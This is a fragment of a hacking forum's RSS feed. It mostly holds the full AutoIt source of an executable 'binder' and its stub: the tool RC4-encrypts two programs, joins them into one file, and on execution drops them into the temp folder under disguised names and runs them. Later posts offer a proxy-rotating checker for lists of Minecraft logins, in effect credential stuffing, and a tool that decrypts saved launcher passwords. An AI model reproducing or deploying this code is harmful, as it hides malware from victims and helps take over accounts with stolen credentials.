&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;data2=encrypt(BinaryToString(&#36;data2))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,StringToBinary(&#36;data1))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,&#36;marker)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,StringToBinary(&#36;data2))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;output)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;inputx1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;inputx2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox(64,"Successful","Files Binded Successfully!")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input1,"")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input2,"")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input3,"")<br />
&nbsp;&nbsp; EndIf<br />
EndFunc<br />
<br />
Func encrypt(&#36;data)<br />
&nbsp;&nbsp; &#36;data=_Crypt_EncryptData(&#36;data,"SOLIXIOUS",&#36;CALG_RC4)<br />
&nbsp;&nbsp; Return &#36;data<br />
EndFunc<br />
<br />
Func about()<br />
&nbsp;&nbsp; If &#36;view=0 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUISetState(@SW_SHOW,&#36;frame2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;about,"&lt;&lt;")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;view=1<br />
&nbsp;&nbsp; Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUISetState(@SW_HIDE,&#36;frame2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;about,"&gt;&gt;")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;view=0<br />
&nbsp;&nbsp; EndIf<br />
EndFunc</code></div></div>
<br />
Stub Source :<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>#include&lt;Crypt.au3&gt;<br />
<br />
&#36;path=@ScriptFullPath<br />
&#36;file=FileOpen(&#36;path,0+16)<br />
&#36;data=FileRead(&#36;file)<br />
&#36;marker="SOLIXIOUS"<br />
&#36;strdata=BinaryToString(&#36;data)<br />
&#36;ardata=StringSplit(&#36;strdata,&#36;marker,1)<br />
HotKeySet("+!c","quit")<br />
If @error Then<br />
&nbsp;&nbsp; MsgBox(0,"No Delimiters","No delimiters Found!")<br />
Else<br />
&nbsp;&nbsp; If &#36;ardata[0]=3 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;ardata[2]=decrypt(BinaryToString(&#36;ardata[2]))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;ardata[3]=decrypt(BinaryToString(&#36;ardata[3]))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;file1=FileOpen(@TempDir &amp; "&#92;GraphicsAccelerator.exe",2+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;file1,&#36;ardata[2])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;file1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;file2=FileOpen(@TempDir &amp; "&#92;GraphicsService.exe",2+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;file1,&#36;ardata[3])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;file2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShellExecute(@TempDir &amp; "&#92;GraphicsAccelerator.exe")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShellExecute(@TempDir &amp; "&#92;GraphicsService.exe")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WEnd<br />
&nbsp;&nbsp; EndIf<br />
EndIf<br />
<br />
Func decrypt(&#36;data)<br />
&nbsp;&nbsp; &#36;data=_Crypt_DecryptData(&#36;data,"SOLIXIOUS",&#36;CALG_RC4)<br />
&nbsp;&nbsp; return &#36;data<br />
EndFunc<br />
<br />
Func quit()<br />
&nbsp;&nbsp; Exit<br />
EndFunc</code></div></div>
<br />
Download Link :<br />
<a href="http://www.mediafire.com/?pd29b0oqwb5br3i" target="_blank">HC Binder x86</a><br />
<a href="http://www.mediafire.com/?74j35p38uk3hbi0" target="_blank">HC Binder x64</a>]]></description>
			<content:encoded><![CDATA[Hello mates,<br />
I'm glad to present before all of you guys Hack Community Binder today. It can be used to encrypt and bind two executable files along with a stub file into a single file. This file when executed would let both the files encrypted withing itself execute at the same time. It is an open source project done in autoit, so modifications and enhancements are welcome.<br />
<br />
Screenshot:<br />
<img src="http://s2.postimage.org/axxfvdk0p/HC_Binder.png" border="0" alt="[Image: HC_Binder.png]" /><br />
<br />
<br />
Binder Source :<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>#include&lt;GUIConstants.au3&gt;<br />
#include&lt;EditConstants.au3&gt;<br />
#include&lt;Crypt.au3&gt;<br />
#include&lt;WindowsConstants.au3&gt;<br />
#include&lt;GDIPlus.au3&gt;<br />
<br />
Opt("GUIOnEventMode",1)<br />
&#36;color1=0x090909<br />
&#36;color2=0xff0000<br />
&#36;color3=0x777777<br />
&#36;frame=GUICreate("Binder",600,400,200,200,&#36;WS_POPUPWINDOW)<br />
_GDIPlus_Startup()<br />
&#36;hImage = _GDIPlus_ImageLoadFromFile("logo.png")<br />
&#36;hGraphic = _GDIPlus_GraphicsCreateFromHWND(&#36;frame)<br />
GUIRegisterMsg(&#36;WM_PAINT, "MY_WM_PAINT")<br />
<br />
&#36;header=GUICtrlCreateLabel("Binder",340,40,130,50)<br />
&#36;label1=GUICtrlCreateLabel("File 1",20,230,60,20)<br />
&#36;label2=GUICtrlCreateLabel("File 2",20,270,60,20)<br />
&#36;label3=GUICtrlCreateLabel("Output Path",20,310,60,20)<br />
&#36;input1=GUICtrlCreateInput("",90,230,450,20,&#36;ES_AUTOHSCROLL+&#36;ES_READONLY+&#36;ES_OEMCONVERT)<br />
&#36;input2=GUICtrlCreateInput("",90,270,450,20,&#36;ES_AUTOHSCROLL+&#36;ES_READONLY+&#36;ES_OEMCONVERT)<br />
&#36;input3=GUICtrlCreateInput("",90,310,450,20,&#36;ES_AUTOHSCROLL+&#36;ES_READONLY+&#36;ES_OEMCONVERT)<br />
&#36;button1=GUICtrlCreateButton("...",550,230,30,20)<br />
&#36;button2=GUICtrlCreateButton("...",550,270,30,20)<br />
&#36;button3=GUICtrlCreateButton("...",550,310,30,20)<br />
&#36;bind=GUICtrlCreateButton("Bind",190,350,70,25)<br />
&#36;close=GUICtrlCreateButton("Close",270,350,70,25)<br />
&#36;about=GUICtrlCreateButton("&gt;&gt;",570,370,20,20)<br />
&#36;frame2=GUICreate("",300,100,800,500,&#36;WS_POPUPWINDOW)<br />
<br />
&#36;label=GUICtrlCreateLabel("Author : Solixious Klein" &amp; @CRLF &amp; "Special Thanks : Deque and Coder-San" &amp; @CRLF &amp; "www.hackcommunity.com",20,20,300,100)<br />
&#36;view=0<br />
init()<br />
GUICtrlSetOnEvent(&#36;close,"quit")<br />
GUICtrlSetOnEvent(&#36;button1,"getpath1")<br />
GUICtrlSetOnEvent(&#36;button2,"getpath2")<br />
GUICtrlSetOnEvent(&#36;button3,"getpath3")<br />
GUICtrlSetOnEvent(&#36;bind,"bind")<br />
GUICtrlSetOnEvent(&#36;about,"about")<br />
GUISetState(@SW_SHOW,&#36;frame)<br />
GUISetOnEvent(&#36;GUI_EVENT_CLOSE,"quit",&#36;frame)<br />
While 1<br />
&nbsp;&nbsp; ;<br />
WEnd<br />
<br />
Func MY_WM_PAINT(&#36;hWnd, &#36;msg, &#36;wParam, &#36;lParam)<br />
&nbsp;&nbsp;&nbsp;&nbsp;#forceref &#36;hWnd, &#36;Msg, &#36;wParam, &#36;lParam<br />
&nbsp;&nbsp;&nbsp;&nbsp;_WinAPI_RedrawWindow(&#36;frame, 0, 0, &#36;RDW_UPDATENOW)<br />
&nbsp;&nbsp;&nbsp;&nbsp;_GDIPlus_GraphicsDrawImage(&#36;hGraphic, &#36;hImage, 0, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;_WinAPI_RedrawWindow(&#36;frame, 0, 0, &#36;RDW_VALIDATE)<br />
&nbsp;&nbsp;&nbsp;&nbsp;Return &#36;GUI_RUNDEFMSG<br />
 EndFunc<br />
 <br />
Func init()<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;header,25,700,2)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;label1,14)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;label2,14)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;label3,14)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;label,11)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;bind,12)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;close,12)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;input1,12)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;input2,12)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;input3,12)<br />
&nbsp;&nbsp; GUISetBkColor(&#36;color1,&#36;frame)<br />
&nbsp;&nbsp; GUISetBkColor(&#36;color1,&#36;frame2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;input1,&#36;color3)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;input2,&#36;color3)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;input3,&#36;color3)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;button1,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;button2,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;button3,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;label1,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;label2,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;label,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;label3,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;bind,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;close,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;about,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;header,&#36;color2)<br />
EndFunc<br />
<br />
Func quit()<br />
&nbsp;&nbsp; _GDIPlus_GraphicsDispose(&#36;hGraphic)<br />
&nbsp;&nbsp; _GDIPlus_ImageDispose(&#36;hImage)<br />
&nbsp;&nbsp; _GDIPlus_Shutdown()<br />
&nbsp;&nbsp; Exit<br />
EndFunc<br />
<br />
Func getpath1()<br />
&nbsp;&nbsp; &#36;filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",&#36;frame)<br />
&nbsp;&nbsp; If @error Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;<br />
&nbsp;&nbsp; Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input1,&#36;filepath)<br />
&nbsp;&nbsp; EndIf<br />
EndFunc<br />
<br />
Func getpath2()<br />
&nbsp;&nbsp; &#36;filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",&#36;frame)<br />
&nbsp;&nbsp; If @error Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;<br />
&nbsp;&nbsp; Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input2,&#36;filepath)<br />
&nbsp;&nbsp; EndIf<br />
EndFunc<br />
<br />
<br />
Func getpath3()<br />
&nbsp;&nbsp; &#36;filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",&#36;frame) &amp; ".exe"<br />
&nbsp;&nbsp; If @error Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;<br />
&nbsp;&nbsp; Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input3,&#36;filepath)<br />
&nbsp;&nbsp; EndIf<br />
EndFunc<br />
<br />
Func bind()<br />
&nbsp;&nbsp; &#36;path1=GUICtrlRead(&#36;input1)<br />
&nbsp;&nbsp; &#36;path2=GUICtrlRead(&#36;input2)<br />
&nbsp;&nbsp; &#36;path3=GUICtrlRead(&#36;input3)<br />
&nbsp;&nbsp; If FileExists(&#36;path1) And FileExists(&#36;path2) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;marker=StringToBinary("SOLIXIOUS")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;output=FileOpen(&#36;path3,1+2+8+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;inputx1=FileOpen(&#36;path1,0+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;inputx2=FileOpen(&#36;path2,0+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;data1=FileRead(&#36;inputx1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;data2=FileRead(&#36;inputx2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;stub=FileOpen(@ScriptDir &amp; "&#92;Stub.exe",0+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;stubdata=FileRead(&#36;stub)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,&#36;stubdata)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,&#36;marker)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;data1=encrypt(BinaryToString(&#36;data1))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;data2=encrypt(BinaryToString(&#36;data2))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,StringToBinary(&#36;data1))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,&#36;marker)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,StringToBinary(&#36;data2))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;output)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;inputx1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;inputx2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox(64,"Successful","Files Binded Successfully!")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input1,"")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input2,"")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input3,"")<br />
&nbsp;&nbsp; EndIf<br />
EndFunc<br />
<br />
Func encrypt(&#36;data)<br />
&nbsp;&nbsp; &#36;data=_Crypt_EncryptData(&#36;data,"SOLIXIOUS",&#36;CALG_RC4)<br />
&nbsp;&nbsp; Return &#36;data<br />
EndFunc<br />
<br />
Func about()<br />
&nbsp;&nbsp; If &#36;view=0 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUISetState(@SW_SHOW,&#36;frame2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;about,"&lt;&lt;")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;view=1<br />
&nbsp;&nbsp; Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUISetState(@SW_HIDE,&#36;frame2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;about,"&gt;&gt;")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;view=0<br />
&nbsp;&nbsp; EndIf<br />
EndFunc</code></div></div>
<br />
Stub Source :<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>#include&lt;Crypt.au3&gt;<br />
<br />
&#36;path=@ScriptFullPath<br />
&#36;file=FileOpen(&#36;path,0+16)<br />
&#36;data=FileRead(&#36;file)<br />
&#36;marker="SOLIXIOUS"<br />
&#36;strdata=BinaryToString(&#36;data)<br />
&#36;ardata=StringSplit(&#36;strdata,&#36;marker,1)<br />
HotKeySet("+!c","quit")<br />
If @error Then<br />
&nbsp;&nbsp; MsgBox(0,"No Delimiters","No delimiters Found!")<br />
Else<br />
&nbsp;&nbsp; If &#36;ardata[0]=3 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;ardata[2]=decrypt(BinaryToString(&#36;ardata[2]))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;ardata[3]=decrypt(BinaryToString(&#36;ardata[3]))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;file1=FileOpen(@TempDir &amp; "&#92;GraphicsAccelerator.exe",2+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;file1,&#36;ardata[2])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;file1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;file2=FileOpen(@TempDir &amp; "&#92;GraphicsService.exe",2+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;file1,&#36;ardata[3])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileClose(&#36;file2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShellExecute(@TempDir &amp; "&#92;GraphicsAccelerator.exe")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShellExecute(@TempDir &amp; "&#92;GraphicsService.exe")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WEnd<br />
&nbsp;&nbsp; EndIf<br />
EndIf<br />
<br />
Func decrypt(&#36;data)<br />
&nbsp;&nbsp; &#36;data=_Crypt_DecryptData(&#36;data,"SOLIXIOUS",&#36;CALG_RC4)<br />
&nbsp;&nbsp; return &#36;data<br />
EndFunc<br />
<br />
Func quit()<br />
&nbsp;&nbsp; Exit<br />
EndFunc</code></div></div>
<br />
Download Link :<br />
<a href="http://www.mediafire.com/?pd29b0oqwb5br3i" target="_blank">HC Binder x86</a><br />
<a href="http://www.mediafire.com/?74j35p38uk3hbi0" target="_blank">HC Binder x64</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] Online or Offline? - Java & Open Source]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-Online-or-Offline-Java-Open-Source</link>
			<pubDate>Sun, 27 Jan 2013 13:09:56 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-Online-or-Offline-Java-Open-Source</guid>
			<description><![CDATA[I guess the title for the program is quite off, huh? This program really just checks the return response of a website, ex: 403 - Forbidden or 404 - Not found<br />
<br />
On a side not, you can also press enter to do the magic.<br />
<br />
<img src="http://puu.sh/1ToQP.png" border="0" alt="[Image: 1ToQP.png]" /><br />
<br />
<img src="http://puu.sh/1ToRY.png" border="0" alt="[Image: 1ToRY.png]" /><br />
<br />
<br />
It's an open source project, so here ya go -- Have fun! <img src="images/smilies/grin.gif" style="vertical-align: middle;" border="0" alt="Grin" title="Grin" /><br />
<a href="https://github.com/oneluckyducky/OnlineOrOffline" target="_blank">https://github.com/oneluckyducky/OnlineOrOffline</a><br />
<br />
<br />
You can also download the compiled jar below -- You can decompile it, it's not obbed.<br />
<a href="http://puu.sh/1ToTp" target="_blank">http://puu.sh/1ToTp</a>]]></description>
			<content:encoded><![CDATA[I guess the title for the program is quite off, huh? This program really just checks the return response of a website, ex: 403 - Forbidden or 404 - Not found<br />
<br />
On a side not, you can also press enter to do the magic.<br />
<br />
<img src="http://puu.sh/1ToQP.png" border="0" alt="[Image: 1ToQP.png]" /><br />
<br />
<img src="http://puu.sh/1ToRY.png" border="0" alt="[Image: 1ToRY.png]" /><br />
<br />
<br />
It's an open source project, so here ya go -- Have fun! <img src="images/smilies/grin.gif" style="vertical-align: middle;" border="0" alt="Grin" title="Grin" /><br />
<a href="https://github.com/oneluckyducky/OnlineOrOffline" target="_blank">https://github.com/oneluckyducky/OnlineOrOffline</a><br />
<br />
<br />
You can also download the compiled jar below -- You can decompile it, it's not obbed.<br />
<a href="http://puu.sh/1ToTp" target="_blank">http://puu.sh/1ToTp</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] MinecraftLoginVerifier - test your account lists]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-MinecraftLoginVerifier-test-your-account-lists</link>
			<pubDate>Tue, 08 Jan 2013 16:23:13 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-MinecraftLoginVerifier-test-your-account-lists</guid>
			<description><![CDATA[<span style="color: #ffd700;"><span style="font-size: x-large;">MinecraftLoginVerifier</span></span><br />
<br />
Do you have a list of minecraft logins, but don't know if they are valid?<br />
This program will test your account list and put all working logins into a file.<br />
<br />
<a href="http://www.directupload.net" target="_blank"><img src="http://s1.directupload.net/images/130405/8xis3qiw.png" border="0" alt="[Image: 8xis3qiw.png]" /></a><br />
<br />
<span style="font-size: medium;"><span style="color: #00bfff;"><span style="font-weight: bold;">Requirements:</span></span></span> Java Runtime 7<br />
<span style="font-size: medium;"><span style="color: #00bfff;"><br />
<span style="font-weight: bold;">Usage:</span> </span></span><br />
<br />
MinecraftLoginVerifier needs a proxylist to work. This is necessary, because minecraft.net will block you if you try too many logins. So get a proxylist, i.e. from this site: <a href="http://www.proxynova.com/proxy-server-list/" target="_blank">http://www.proxynova.com/proxy-server-list/</a> (press "download all proxies")<br />
<br />
The format of the proxylist has to be: <br />
<span style="color: #ffd700;">address:port</span><br />
Where every proxy is on a new line.<br />
<br />
The format of the account list has to be:<br />
<span style="color: #ffd700;">username:password</span><br />
or:<br />
<span style="color: #ffd700;">username:password:e-mail</span><br />
or:<br />
<span style="color: #ffd700;">e-mail:password</span><br />
<br />
After you have set your account list, you validated output file, your migrated output file and your proxylist, click "verify account list" and the program will try to log in with your accounts.<br />
Validated and migrated logins are appended to the output file, so you can use one file for several account lists that you test.<br />
<br />
The migrated output file is filled with migrated accounts that have no e-mail set, so you can try them later, when you got the e-mail-address.<br />
<br />
If you use the <span style="color: #ffd700;">username:password:email</span> format in your file, the program will first check for username:password and if it gets a migrated answer it will try email:password to log in.<br />
<br />
<span style="font-size: medium;"><span style="color: #00bfff;"><span style="font-weight: bold;">Downloads:</span> </span></span><br />
<br />
Download program: <a href="http://uppit.com/7j84s2t2reqk/mcloginverifier.jar" target="_blank">http://uppit.com/7j84s2t2reqk/mcloginverifier.jar</a><br />
Download source: <a href="http://uppit.com/7vee4m7yhsq8/src.zip" target="_blank">http://uppit.com/7vee4m7yhsq8/src.zip</a><br />
<br />
All my sources are under Simplified BSD License. Lines of code: 716<br />
<span style="font-weight: bold;"><br />
Changelog v0.2:</span><br />
<br />
- migrated output file<br />
- new file format username:password:e-mail<br />
- better error output for usual problems (wrong proxy-file-format etc)<br />
<br />
<span style="font-weight: bold;">Changelog v0.3:</span><br />
- premium check]]></description>
			<content:encoded><![CDATA[<span style="color: #ffd700;"><span style="font-size: x-large;">MinecraftLoginVerifier</span></span><br />
<br />
Do you have a list of minecraft logins, but don't know if they are valid?<br />
This program will test your account list and put all working logins into a file.<br />
<br />
<a href="http://www.directupload.net" target="_blank"><img src="http://s1.directupload.net/images/130405/8xis3qiw.png" border="0" alt="[Image: 8xis3qiw.png]" /></a><br />
<br />
<span style="font-size: medium;"><span style="color: #00bfff;"><span style="font-weight: bold;">Requirements:</span></span></span> Java Runtime 7<br />
<span style="font-size: medium;"><span style="color: #00bfff;"><br />
<span style="font-weight: bold;">Usage:</span> </span></span><br />
<br />
MinecraftLoginVerifier needs a proxylist to work. This is necessary, because minecraft.net will block you if you try too many logins. So get a proxylist, i.e. from this site: <a href="http://www.proxynova.com/proxy-server-list/" target="_blank">http://www.proxynova.com/proxy-server-list/</a> (press "download all proxies")<br />
<br />
The format of the proxylist has to be: <br />
<span style="color: #ffd700;">address:port</span><br />
Where every proxy is on a new line.<br />
<br />
The format of the account list has to be:<br />
<span style="color: #ffd700;">username:password</span><br />
or:<br />
<span style="color: #ffd700;">username:password:e-mail</span><br />
or:<br />
<span style="color: #ffd700;">e-mail:password</span><br />
<br />
After you have set your account list, you validated output file, your migrated output file and your proxylist, click "verify account list" and the program will try to log in with your accounts.<br />
Validated and migrated logins are appended to the output file, so you can use one file for several account lists that you test.<br />
<br />
The migrated output file is filled with migrated accounts that have no e-mail set, so you can try them later, when you got the e-mail-address.<br />
<br />
If you use the <span style="color: #ffd700;">username:password:email</span> format in your file, the program will first check for username:password and if it gets a migrated answer it will try email:password to log in.<br />
<br />
<span style="font-size: medium;"><span style="color: #00bfff;"><span style="font-weight: bold;">Downloads:</span> </span></span><br />
<br />
Download program: <a href="http://uppit.com/7j84s2t2reqk/mcloginverifier.jar" target="_blank">http://uppit.com/7j84s2t2reqk/mcloginverifier.jar</a><br />
Download source: <a href="http://uppit.com/7vee4m7yhsq8/src.zip" target="_blank">http://uppit.com/7vee4m7yhsq8/src.zip</a><br />
<br />
All my sources are under Simplified BSD License. Lines of code: 716<br />
<span style="font-weight: bold;"><br />
Changelog v0.2:</span><br />
<br />
- migrated output file<br />
- new file format username:password:e-mail<br />
- better error output for usual problems (wrong proxy-file-format etc)<br />
<br />
<span style="font-weight: bold;">Changelog v0.3:</span><br />
- premium check]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] MinecraftLoginReader]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-MinecraftLoginReader</link>
			<pubDate>Fri, 28 Dec 2012 21:47:23 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-MinecraftLoginReader</guid>
			<description><![CDATA[<span style="font-size: x-large;"><span style="color: #87CEEB;">MinecraftLoginReader</span></span><br />
<br />
<img src="http://s14.directupload.net/images/121228/3yxy3cv7.png" border="0" alt="[Image: 3yxy3cv7.png]" /><br />
<br />
This program can decrypt the lastlogin file which is created by the minecraft launcher, if the player checks the "remember my password" button.<br />
<br />
Usage is simple. MLR automatically searches for the lastlogin file in the default location of your OS. But you can also change the file by pressing the "..." button on the right.<br />
Clicking "decrypt" will show password and username.<br />
<br />
Works in Unix, Linux, Mac and Windows.<br />
<br />
<span style="font-weight: bold;">Requirements:</span> Java Runtime 1.7<br />
<br />
<span style="font-weight: bold;">Download:</span> <a href="http://uppit.com/41mg5su388nc/mcloginreader.jar" target="_blank">http://uppit.com/41mg5su388nc/mcloginreader.jar</a><br />
<br />
<span style="font-weight: bold;">Source:</span> <a href="http://www.hackcommunity.com/Thread-Java-Decrypt-minecraft-lastlogin" target="_blank">http://www.hackcommunity.com/Thread-Java...-lastlogin</a>]]></description>
			<content:encoded><![CDATA[<span style="font-size: x-large;"><span style="color: #87CEEB;">MinecraftLoginReader</span></span><br />
<br />
<img src="http://s14.directupload.net/images/121228/3yxy3cv7.png" border="0" alt="[Image: 3yxy3cv7.png]" /><br />
<br />
This program can decrypt the lastlogin file which is created by the minecraft launcher, if the player checks the "remember my password" button.<br />
<br />
Usage is simple. MLR automatically searches for the lastlogin file in the default location of your OS. But you can also change the file by pressing the "..." button on the right.<br />
Clicking "decrypt" will show password and username.<br />
<br />
Works in Unix, Linux, Mac and Windows.<br />
<br />
<span style="font-weight: bold;">Requirements:</span> Java Runtime 1.7<br />
<br />
